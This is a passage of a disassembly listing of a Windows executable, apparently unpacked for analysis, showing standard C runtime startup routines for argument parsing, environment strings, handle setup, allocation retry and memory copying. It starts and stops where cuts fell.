sub_408CC1+2Cj inc dword ptr [edi] test edx, edx jz short loc_408D0D mov al, [esi] mov [edx], al inc edx mov [ebp+arg_4], edx loc_408D0D: ; CODE XREF: sub_408CC1+42j mov bl, [esi] movzx eax, bl push eax inc esi call sub_40B671 test eax, eax pop ecx jz short loc_408D31 inc dword ptr [edi] cmp [ebp+arg_4], 0 jz short loc_408D30 mov ecx, [ebp+arg_4] mov al, [esi] inc [ebp+arg_4] mov [ecx], al loc_408D30: ; CODE XREF: sub_408CC1+63j inc esi loc_408D31: ; CODE XREF: sub_408CC1+5Bj test bl, bl mov edx, [ebp+arg_4] mov ecx, [ebp+arg_8] jz short loc_408D6D loc_408D3B: ; CODE XREF: sub_408CC1+3Cj cmp [ebp+var_4], 0 jnz short loc_408CEA cmp bl, 20h jz short loc_408D4B cmp bl, 9 jnz short loc_408CEA loc_408D4B: ; CODE XREF: sub_408CC1+83j test edx, edx jz short loc_408D53 mov byte ptr [edx-1], 0 loc_408D53: ; CODE XREF: sub_408CC1+8Cj ; sub_408CC1+ADj and [ebp+var_4], 0 loc_408D57: ; CODE XREF: sub_408CC1+183j cmp byte ptr [esi], 0 jz loc_408E49 loc_408D60: ; CODE XREF: sub_408CC1+AAj mov al, [esi] cmp al, 20h jz short loc_408D6A cmp al, 9 jnz short loc_408D70 loc_408D6A: ; CODE XREF: sub_408CC1+A3j inc esi jmp short loc_408D60 ; --------------------------------------------------------------------------- loc_408D6D: ; CODE XREF: sub_408CC1+78j dec esi jmp short loc_408D53 ; --------------------------------------------------------------------------- loc_408D70: ; CODE XREF: sub_408CC1+A7j cmp byte ptr [esi], 0 jz loc_408E49 cmp [ebp+arg_0], 0 jz short loc_408D88 mov eax, [ebp+arg_0] add [ebp+arg_0], 4 mov [eax], edx loc_408D88: ; CODE XREF: sub_408CC1+BCj inc dword ptr [ecx] loc_408D8A: ; CODE XREF: sub_408CC1+16Ej xor ebx, ebx inc ebx xor ecx, ecx jmp short loc_408D93 ; --------------------------------------------------------------------------- loc_408D91: ; CODE XREF: sub_408CC1+D5j inc esi inc ecx loc_408D93: ; CODE XREF: sub_408CC1+CEj cmp byte ptr [esi], 5Ch jz short loc_408D91 cmp byte ptr [esi], 22h jnz short loc_408DC3 test cl, 1 jnz short loc_408DC1 cmp [ebp+var_4], 0 jz short loc_408DB4 lea eax, [esi+1] cmp byte ptr [eax], 22h jnz short loc_408DB4 mov esi, eax jmp short loc_408DC1 ; --------------------------------------------------------------------------- loc_408DB4: ; CODE XREF: sub_408CC1+E5j ; sub_408CC1+EDj xor eax, eax xor ebx, ebx cmp [ebp+var_4], eax setz al mov [ebp+var_4], eax loc_408DC1: ; CODE XREF: sub_408CC1+DFj ; sub_408CC1+F1j shr ecx, 1 loc_408DC3: ; CODE XREF: sub_408CC1+DAj test ecx, ecx jz short loc_408DD9 loc_408DC7: ; CODE XREF: sub_408CC1+113j dec ecx test edx, edx jz short loc_408DD0 mov byte ptr [edx], 5Ch inc edx loc_408DD0: ; CODE XREF: sub_408CC1+109j inc dword ptr [edi] test ecx, ecx jnz short loc_408DC7 mov [ebp+arg_4], edx loc_408DD9: ; CODE XREF: sub_408CC1+104j mov al, [esi] test al, al jz short loc_408E34 cmp [ebp+var_4], 0 jnz short loc_408DED cmp al, 20h jz short loc_408E34 cmp al, 9 jz short loc_408E34 loc_408DED: ; CODE XREF: sub_408CC1+122j test ebx, ebx jz short loc_408E2E test edx, edx movsx eax, al push eax jz short loc_408E1C call sub_40B671 test eax, eax pop ecx jz short loc_408E10 mov al, [esi] mov ecx, [ebp+arg_4] inc [ebp+arg_4] mov [ecx], al inc esi inc dword ptr [edi] loc_408E10: ; CODE XREF: sub_408CC1+140j mov ecx, [ebp+arg_4] mov al, [esi] inc [ebp+arg_4] mov [ecx], al jmp short loc_408E29 ; --------------------------------------------------------------------------- loc_408E1C: ; CODE XREF: sub_408CC1+136j call sub_40B671 test eax, eax pop ecx jz short loc_408E29 inc esi inc dword ptr [edi] loc_408E29: ; CODE XREF: sub_408CC1+159j ; sub_408CC1+163j inc dword ptr [edi] mov edx, [ebp+arg_4] loc_408E2E: ; CODE XREF: sub_408CC1+12Ej inc esi jmp loc_408D8A ; --------------------------------------------------------------------------- loc_408E34: ; CODE XREF: sub_408CC1+11Cj ; sub_408CC1+126j ... test edx, edx jz short loc_408E3F mov byte ptr [edx], 0 inc edx mov [ebp+arg_4], edx loc_408E3F: ; CODE XREF: sub_408CC1+175j inc dword ptr [edi] mov ecx, [ebp+arg_8] jmp loc_408D57 ; --------------------------------------------------------------------------- loc_408E49: ; CODE XREF: sub_408CC1+99j ; sub_408CC1+B2j mov eax, [ebp+arg_0] test eax, eax pop esi pop ebx jz short loc_408E55 and dword ptr [eax], 0 loc_408E55: ; CODE XREF: sub_408CC1+18Fj inc dword ptr [ecx] leave retn sub_408CC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408E59 proc near ; CODE XREF: seg001:00404CBDp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch push ebx xor ebx, ebx cmp dword_413BB8, ebx push esi push edi jnz short loc_408E71 call sub_40862A loc_408E71: ; CODE XREF: sub_408E59+11j push 104h mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push esi push ebx mov byte_411D44, bl call dword_40D0E0 ; GetModuleFileNameA mov eax, dword_413BA4 cmp eax, ebx mov off_411400, esi jz short loc_408E9F cmp [eax], bl mov [ebp+var_4], eax jnz short loc_408EA2 loc_408E9F: ; CODE XREF: sub_408E59+3Dj mov [ebp+var_4], esi loc_408EA2: ; CODE XREF: sub_408E59+44j mov edx, [ebp+var_4] lea eax, [ebp+var_8] push eax push ebx push ebx lea edi, [ebp+var_C] call sub_408CC1 mov eax, [ebp+var_8] add esp, 0Ch cmp eax, 3FFFFFFFh jnb short loc_408F0A mov ecx, [ebp+var_C] cmp ecx, 0FFFFFFFFh jnb short loc_408F0A mov edi, eax shl edi, 2 lea eax, [edi+ecx] cmp eax, ecx jb short loc_408F0A push eax call sub_409323 mov esi, eax cmp esi, ebx pop ecx jz short loc_408F0A mov edx, [ebp+var_4] lea eax, [ebp+var_8] push eax add edi, esi push edi push esi lea edi, [ebp+var_C] call sub_408CC1 mov eax, [ebp+var_8] add esp, 0Ch dec eax mov dword_4113E4, eax mov dword_4113E8, esi xor eax, eax jmp short loc_408F0D ; --------------------------------------------------------------------------- loc_408F0A: ; CODE XREF: sub_408E59+65j ; sub_408E59+6Dj ... or eax, 0FFFFFFFFh loc_408F0D: ; CODE XREF: sub_408E59+AFj pop edi pop esi pop ebx leave retn sub_408E59 endp ; =============== S U B R O U T I N E ======================================= sub_408F12 proc near ; CODE XREF: seg001:00404CB3p var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx mov eax, dword_411D48 push ebx push ebp push esi push edi mov edi, dword_40D1A0 xor ebx, ebx xor esi, esi cmp eax, ebx push 2 pop ebp jnz short loc_408F5B call edi ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz short loc_408F42 mov dword_411D48, 1 jmp short loc_408F64 ; --------------------------------------------------------------------------- loc_408F42: ; CODE XREF: sub_408F12+22j call dword_40D050 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_408F56 mov eax, ebp mov dword_411D48, eax jmp short loc_408F5B ; --------------------------------------------------------------------------- loc_408F56: ; CODE XREF: sub_408F12+39j mov eax, dword_411D48 loc_408F5B: ; CODE XREF: sub_408F12+1Aj ; sub_408F12+42j cmp eax, 1 jnz loc_408FE8 loc_408F64: ; CODE XREF: sub_408F12+2Ej cmp esi, ebx jnz short loc_408F77 call edi ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jnz short loc_408F77 loc_408F70: ; CODE XREF: sub_408F12+DCj ; sub_408F12+E8j ... xor eax, eax jmp loc_409040 ; --------------------------------------------------------------------------- loc_408F77: ; CODE XREF: sub_408F12+54j ; sub_408F12+5Cj cmp [esi], bx mov eax, esi jz short loc_408F8C loc_408F7E: ; CODE XREF: sub_408F12+71j ; sub_408F12+78j add eax, ebp cmp [eax], bx jnz short loc_408F7E add eax, ebp cmp [eax], bx jnz short loc_408F7E loc_408F8C: ; CODE XREF: sub_408F12+6Aj mov edi, dword_40D19C push ebx push ebx push ebx sub eax, esi push ebx sar eax, 1 inc eax push eax push esi push ebx push ebx mov [esp+38h+var_4], eax call edi ; WideCharToMultiByte mov ebp, eax cmp ebp, ebx jz short loc_408FDD push ebp call sub_409323 cmp eax, ebx pop ecx mov [esp+18h+var_8], eax jz short loc_408FDD push ebx push ebx push ebp push eax push [esp+28h+var_4] push esi push ebx push ebx call edi ; WideCharToMultiByte test eax, eax jnz short loc_408FD9 push [esp+18h+var_8] call sub_40405A pop ecx mov [esp+18h+var_8], ebx loc_408FD9: ; CODE XREF: sub_408F12+B7j mov ebx, [esp+18h+var_8] loc_408FDD: ; CODE XREF: sub_408F12+97j ; sub_408F12+A6j push esi call dword_40D198 ; FreeEnvironmentStringsW mov eax, ebx jmp short loc_409040 ; --------------------------------------------------------------------------- loc_408FE8: ; CODE XREF: sub_408F12+4Cj cmp eax, ebp jz short loc_408FF0 cmp eax, ebx jnz short loc_408F70 loc_408FF0: ; CODE XREF: sub_408F12+D8j call dword_40D194 ; GetEnvironmentStrings mov esi, eax cmp esi, ebx jz loc_408F70 cmp [esi], bl jz short loc_40900E loc_409004: ; CODE XREF: sub_408F12+F5j ; sub_408F12+FAj inc eax cmp [eax], bl jnz short loc_409004 inc eax cmp [eax], bl jnz short loc_409004 loc_40900E: ; CODE XREF: sub_408F12+F0j sub eax, esi inc eax mov ebp, eax push ebp call sub_409323 mov edi, eax cmp edi, ebx pop ecx jnz short loc_40902C push esi call dword_40D190 ; FreeEnvironmentStringsA jmp loc_408F70 ; --------------------------------------------------------------------------- loc_40902C: ; CODE XREF: sub_408F12+10Cj push ebp push esi push edi call sub_403BE0 add esp, 0Ch push esi call dword_40D190 ; FreeEnvironmentStringsA mov eax, edi loc_409040: ; CODE XREF: sub_408F12+60j ; sub_408F12+D4j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn sub_408F12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409047 proc near ; CODE XREF: seg001:00404C97p var_64 = byte ptr -64h var_32 = word ptr -32h var_30 = dword ptr -30h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 54h push offset dword_40E6A0 call __SEH_prolog4 xor edi, edi mov [ebp+ms_exc.disabled], edi lea eax, [ebp+var_64] push eax call dword_40D114 ; GetStartupInfoA mov [ebp+ms_exc.disabled], 0FFFFFFFEh push 38h push 20h pop esi push esi call sub_409363 pop ecx pop ecx cmp eax, edi jz loc_40927E mov dword_413A80, eax mov dword_413A68, esi lea ecx, [eax+700h] jmp short loc_4090BA ; --------------------------------------------------------------------------- loc_409091: ; CODE XREF: sub_409047+75j mov byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov [eax+8], edi mov byte ptr [eax+24h], 0 mov byte ptr [eax+25h], 0Ah mov byte ptr [eax+26h], 0Ah add eax, 38h mov ecx, dword_413A80 add ecx, 700h loc_4090BA: ; CODE XREF: sub_409047+48j cmp eax, ecx jb short loc_409091 cmp [ebp+var_32], di jz loc_4091C5 mov eax, [ebp+var_30] cmp eax, edi jz loc_4091C5 mov edi, [eax] lea ebx, [eax+4] lea eax, [ebx+edi] mov [ebp+var_1C], eax mov eax, 800h cmp edi, eax jl short loc_4090E9 mov edi, eax loc_4090E9: ; CODE XREF: sub_409047+9Ej xor esi, esi inc esi jmp short loc_409140 ; --------------------------------------------------------------------------- loc_4090EE: ; CODE XREF: sub_409047+FFj push 38h push 20h call sub_409363 pop ecx pop ecx test eax, eax jz short loc_40914A lea ecx, ds:413A80h[esi*4] mov [ecx], eax add dword_413A68, 20h lea edx, [eax+700h] jmp short loc_40913B ; --------------------------------------------------------------------------- loc_409115: ; CODE XREF: sub_409047+F6j mov byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah and dword ptr [eax+8], 0 and byte ptr [eax+24h], 80h mov byte ptr [eax+25h], 0Ah mov byte ptr [eax+26h], 0Ah add eax, 38h mov edx, [ecx] add edx, 700h loc_40913B: ; CODE XREF: sub_409047+CCj cmp eax, edx jb short loc_409115 inc esi loc_409140: ; CODE XREF: sub_409047+A5j cmp dword_413A68, edi jl short loc_4090EE jmp short loc_409150 ; --------------------------------------------------------------------------- loc_40914A: ; CODE XREF: sub_409047+B4j mov edi, dword_413A68 loc_409150: ; CODE XREF: sub_409047+101j and [ebp+var_20], 0 test edi, edi jle short loc_4091C5 loc_409158: ; CODE XREF: sub_409047+17Cj mov eax, [ebp+var_1C] mov ecx, [eax] cmp ecx, 0FFFFFFFFh jz short loc_4091B8 cmp ecx, 0FFFFFFFEh jz short loc_4091B8 mov al, [ebx] test al, 1 jz short loc_4091B8 test al, 8 jnz short loc_40917C push ecx call dword_40D1A8 ; GetFileType test eax, eax jz short loc_4091B8 loc_40917C: ; CODE XREF: sub_409047+128j mov esi, [ebp+var_20] mov eax, esi sar eax, 5 and esi, 1Fh imul esi, 38h add esi, dword_413A80[eax*4] mov eax, [ebp+var_1C] mov eax, [eax] mov [esi], eax mov al, [ebx] mov [esi+4], al push 0FA0h lea eax, [esi+0Ch] push eax call sub_407B1C pop ecx pop ecx test eax, eax jz loc_40927E inc dword ptr [esi+8] loc_4091B8: ; CODE XREF: sub_409047+119j ; sub_409047+11Ej ... inc [ebp+var_20] inc ebx add [ebp+var_1C], 4 cmp [ebp+var_20], edi jl short loc_409158 loc_4091C5: ; CODE XREF: sub_409047+7Bj ; sub_409047+86j ... xor ebx, ebx loc_4091C7: ; CODE XREF: sub_409047+213j mov esi, ebx imul esi, 38h add esi, dword_413A80 mov eax, [esi] cmp eax, 0FFFFFFFFh jz short loc_4091E4 cmp eax, 0FFFFFFFEh jz short loc_4091E4 or byte ptr [esi+4], 80h jmp short loc_409256 ; --------------------------------------------------------------------------- loc_4091E4: ; CODE XREF: sub_409047+190j ; sub_409047+195j mov byte ptr [esi+4], 81h test ebx, ebx jnz short loc_4091F1 push 0FFFFFFF6h pop eax jmp short loc_4091FB ; --------------------------------------------------------------------------- loc_4091F1: ; CODE XREF: sub_409047+1A3j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_4091FB: ; CODE XREF: sub_409047+1A8j push eax call dword_40D14C ; GetStdHandle mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_40924C test edi, edi jz short loc_40924C push edi call dword_40D1A8 ; GetFileType test eax, eax jz short loc_40924C mov [esi], edi and eax, 0FFh cmp eax, 2 jnz short loc_40922A or byte ptr [esi+4], 40h jmp short loc_409233 ; --------------------------------------------------------------------------- loc_40922A: ; CODE XREF: sub_409047+1DBj cmp eax, 3 jnz short loc_409233 or byte ptr [esi+4], 8 loc_409233: ; CODE XREF: sub_409047+1E1j ; sub_409047+1E6j push 0FA0h lea eax, [esi+0Ch] push eax call sub_407B1C pop ecx pop ecx test eax, eax jz short loc_40927E inc dword ptr [esi+8] jmp short loc_409256 ; --------------------------------------------------------------------------- loc_40924C: ; CODE XREF: sub_409047+1C0j ; sub_409047+1C4j ... or byte ptr [esi+4], 40h mov dword ptr [esi], 0FFFFFFFEh loc_409256: ; CODE XREF: sub_409047+19Bj ; sub_409047+203j inc ebx cmp ebx, 3 jl loc_4091C7 push dword_413A68 call dword_40D1A4 ; LockResource xor eax, eax jmp short loc_409281 ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] mov [ebp+ms_exc.disabled], 0FFFFFFFEh loc_40927E: ; CODE XREF: sub_409047+31j ; sub_409047+168j ... or eax, 0FFFFFFFFh loc_409281: ; CODE XREF: sub_409047+227j call __SEH_epilog4 retn sub_409047 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409287 proc near ; CODE XREF: seg001:loc_404D7Bp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h mov eax, dword_410440 and [ebp+var_8], 0 and [ebp+var_4], 0 push ebx push edi mov edi, 0BB40E64Eh cmp eax, edi mov ebx, 0FFFF0000h jz short loc_4092B7 test eax, ebx jz short loc_4092B7 not eax mov dword_410444, eax jmp short loc_409317 ; --------------------------------------------------------------------------- loc_4092B7: ; CODE XREF: sub_409287+21j ; sub_409287+25j push esi lea eax, [ebp+var_8] push eax call dword_40D170 ; GetSystemTimeAsFileTime mov esi, [ebp+var_4] xor esi, [ebp+var_8] call dword_40D0D8 ; GetCurrentProcessId xor esi, eax call dword_40D168 ; GetCurrentThreadId xor esi, eax call dword_40D1B0 ; GetTickCount xor esi, eax lea eax, [ebp+var_10] push eax call dword_40D1AC ; QueryPerformanceCounter mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor esi, eax cmp esi, edi jnz short loc_4092FD mov esi, 0BB40E64Fh jmp short loc_409308 ; --------------------------------------------------------------------------- loc_4092FD: ; CODE XREF: sub_409287+6Dj test esi, ebx jnz short loc_409308 mov eax, esi shl eax, 10h or esi, eax loc_409308: ; CODE XREF: sub_409287+74j ; sub_409287+78j mov dword_410440, esi not esi mov dword_410444, esi pop esi loc_409317: ; CODE XREF: sub_409287+2Ej pop edi pop ebx leave retn sub_409287 endp ; =============== S U B R O U T I N E ======================================= sub_40931B proc near ; CODE XREF: sub_404D8F+CEp ; sub_404E8B+18p ... and dword_413A64, 0 retn sub_40931B endp ; =============== S U B R O U T I N E ======================================= sub_409323 proc near ; CODE XREF: sub_40505E+48p ; sub_406AC5+5D0p ... arg_0 = dword ptr 4 push esi push edi xor esi, esi loc_409327: ; CODE XREF: sub_409323+39j push [esp+8+arg_0] call sub_403B17 mov edi, eax test edi, edi pop ecx jnz short loc_40935E cmp dword_411D4C, eax jbe short loc_40935E push esi call dword_40D0EC ; Sleep lea eax, [esi+3E8h] cmp eax, dword_411D4C jbe short loc_409357 or eax, 0FFFFFFFFh loc_409357: ; CODE XREF: sub_409323+2Fj cmp eax, 0FFFFFFFFh mov esi, eax jnz short loc_409327 loc_40935E: ; CODE XREF: sub_409323+12j ; sub_409323+1Aj mov eax, edi pop edi pop esi retn sub_409323 endp ; =============== S U B R O U T I N E ======================================= sub_409363 proc near ; CODE XREF: sub_406471+24p ; sub_406621+139p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi xor esi, esi loc_409367: ; CODE XREF: sub_409363+41j push 0 push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_40B684 mov edi, eax add esp, 0Ch test edi, edi jnz short loc_4093A6 cmp dword_411D4C, eax jbe short loc_4093A6 push esi call dword_40D0EC ; Sleep lea eax, [esi+3E8h] cmp eax, dword_411D4C jbe short loc_40939F or eax, 0FFFFFFFFh loc_40939F: ; CODE XREF: sub_409363+37j cmp eax, 0FFFFFFFFh mov esi, eax jnz short loc_409367 loc_4093A6: ; CODE XREF: sub_409363+1Aj ; sub_409363+22j mov eax, edi pop edi pop esi retn sub_409363 endp ; =============== S U B R O U T I N E ======================================= sub_4093AB proc near ; CODE XREF: sub_407459+5Cp ; sub_407459+73p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi xor esi, esi loc_4093AF: ; CODE XREF: sub_4093AB+44j push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_40B7A2 mov edi, eax test edi, edi pop ecx pop ecx jnz short loc_4093F1 cmp [esp+8+arg_4], eax jz short loc_4093F1 cmp dword_411D4C, eax jbe short loc_4093F1 push esi call dword_40D0EC ; Sleep lea eax, [esi+3E8h] cmp eax, dword_411D4C jbe short loc_4093EA or eax, 0FFFFFFFFh loc_4093EA: ; CODE XREF: sub_4093AB+3Aj cmp eax, 0FFFFFFFFh mov esi, eax jnz short loc_4093AF loc_4093F1: ; CODE XREF: sub_4093AB+17j ; sub_4093AB+1Dj ... mov eax, edi pop edi pop esi retn sub_4093AB endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409400 proc near ; CODE XREF: sub_4051C5+2DAp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_409420 cmp edi, eax jb loc_4095C4 loc_409420: ; CODE XREF: sub_409400+16j cmp ecx, 100h jb short loc_409447 cmp dword_413B84, 0 jz short loc_409447 push edi push esi and edi, 0Fh and esi, 0Fh cmp edi, esi pop esi pop edi jnz short loc_409447 pop esi pop edi pop ebp jmp sub_405FEE ; --------------------------------------------------------------------------- loc_409447: ; CODE XREF: sub_409400+26j ; sub_409400+2Fj ... test edi, 3 jnz short loc_409464 shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_409484 rep movsd jmp off_409574[edx*4] ; --------------------------------------------------------------------------- align 4 loc_409464: ; CODE XREF: sub_409400+4Dj mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_40947C and eax, 3 add ecx, eax jmp dword ptr loc_409484+4[eax*4] ; --------------------------------------------------------------------------- loc_40947C: ; CODE XREF: sub_409400+6Ej jmp dword ptr loc_409584[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_409484: ; CODE XREF: sub_409400+58j ; sub_409400+B6j ... jmp off_409508[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_409498 dd offset loc_4094C4 dd offset loc_4094E8 ; --------------------------------------------------------------------------- loc_409498: ; DATA XREF: sub_409400+8Co and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_409484 rep movsd jmp off_409574[edx*4] ; --------------------------------------------------------------------------- align 4 loc_4094C4: ; DATA XREF: sub_409400+90o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_409484 rep movsd jmp off_409574[edx*4] ; --------------------------------------------------------------------------- align 4 loc_4094E8: ; DATA XREF: sub_409400+94o and edx, ecx mov al, [esi] mov [edi], al add esi, 1 shr ecx, 2 add edi, 1 cmp ecx, 8 jb short loc_409484 rep movsd jmp off_409574[edx*4] ; --------------------------------------------------------------------------- align 4 off_409508 dd offset loc_40956B ; DATA XREF: sub_409400:loc_409484r dd offset loc_409558 dd offset loc_409550 dd offset loc_409548 dd offset loc_409540 dd offset loc_409538 dd offset loc_409530 dd offset loc_409528 ; --------------------------------------------------------------------------- loc_409528: ; CODE XREF: sub_409400:loc_409484j ; DATA XREF: sub_409400+124o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_409530: ; CODE XREF: sub_409400:loc_409484j ; DATA XREF: sub_409400+120o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_409538: ; CODE XREF: sub_409400:loc_409484j ; DATA XREF: sub_409400+11Co mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_409540: ; CODE XREF: sub_409400:loc_409484j ; DATA XREF: sub_409400+118o mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_409548: ; CODE XREF: sub_409400:loc_409484j ; DATA XREF: sub_409400+114o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_409550: ; CODE XREF: sub_409400:loc_409484j ; DATA XREF: sub_409400+110o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_409558: ; CODE XREF: sub_409400:loc_409484j ; DATA XREF: sub_409400+10Co mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_40956B: ; CODE XREF: sub_409400:loc_409484j ; DATA XREF: sub_409400:off_409508o jmp off_409574[edx*4] ; --------------------------------------------------------------------------- align 4 off_409574 dd offset loc_409584 ; DATA XREF: sub_409400+5Cr ; sub_409400+BAr ... dd offset loc_40958C dd offset loc_409598 dd offset loc_4095AC ; --------------------------------------------------------------------------- loc_409584: ; CODE XREF: sub_409400+5Cj ; sub_409400+BAj ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40958C: ; CODE XREF: sub_409400+5Cj ; sub_409400+BAj ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_409598: ; CODE XREF: sub_409400+5Cj ; sub_409400+BAj ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4095AC: ; CODE XREF: sub_409400+5Cj ; sub_409400+BAj ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4095C4: ; CODE XREF: sub_409400+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_4095F8 shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_4095EC std rep movsd cld jmp off_409710[edx*4] ; --------------------------------------------------------------------------- align 4 loc_4095EC: ; CODE XREF: sub_409400+1DDj ; sub_409400+238j ... neg ecx jmp off_4096C0[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_4095F8: ; CODE XREF: sub_409400+1D2j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_409610 and eax, 3 sub ecx, eax jmp dword ptr loc_409610+4[eax*4] ; --------------------------------------------------------------------------- loc_409610: ; CODE XREF: sub_409400+202j ; DATA XREF: sub_409400+209r jmp off_409710[ecx*4] ; --------------------------------------------------------------------------- align 4 and al, 96h inc eax add [eax-6Ah], cl inc eax add [eax-6Ah], dh inc eax add [edx-2EDCFCBAh], cl mov [edi+3], al sub esi, 1 shr ecx, 2 sub edi, 1 cmp ecx, 8 jb short loc_4095EC std rep movsd cld jmp off_409710[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_4095EC std rep movsd cld jmp off_409710[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_4095EC std rep movsd cld jmp off_409710[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4096C4 dd offset loc_4096CC dd offset loc_4096D4 dd offset loc_4096DC dd offset loc_4096E4 dd offset loc_4096EC dd offset loc_4096F4 off_4096C0 dd offset loc_409707 ; DATA XREF: sub_409400+1EEr ; --------------------------------------------------------------------------- loc_4096C4: ; DATA XREF: sub_409400+2A4o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_4096CC: ; DATA XREF: sub_409400+2A8o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_4096D4: ; DATA XREF: sub_409400+2ACo mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_4096DC: ; DATA XREF: sub_409400+2B0o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_4096E4: ; DATA XREF: sub_409400+2B4o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_4096EC: ; DATA XREF: sub_409400+2B8o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_4096F4: ; DATA XREF: sub_409400+2BCo mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_409707: ; CODE XREF: sub_409400+1EEj ; DATA XREF: sub_409400:off_4096C0o jmp off_409710[edx*4] ; --------------------------------------------------------------------------- align 10h off_409710 dd offset loc_409720 ; DATA XREF: sub_409400+1E3r ; sub_409400:loc_409610r ... dd offset loc_409728 dd offset loc_409738 dd offset loc_40974C ; --------------------------------------------------------------------------- loc_409720: ; CODE XREF: sub_409400+1E3j ; sub_409400:loc_409610j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_409728: ; CODE XREF: sub_409400+1E3j ; sub_409400:loc_409610j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_409738: ; CODE XREF: sub_409400+1E3j ; sub_409400:loc_409610j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40974C: ; CODE XREF: sub_409400+1E3j ; sub_409400:loc_409610j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_409400 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409765 proc near ; CODE XREF: sub_405D62+15Dp var_30 = dword ptr -30h var_20 = byte ptr -20h var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = 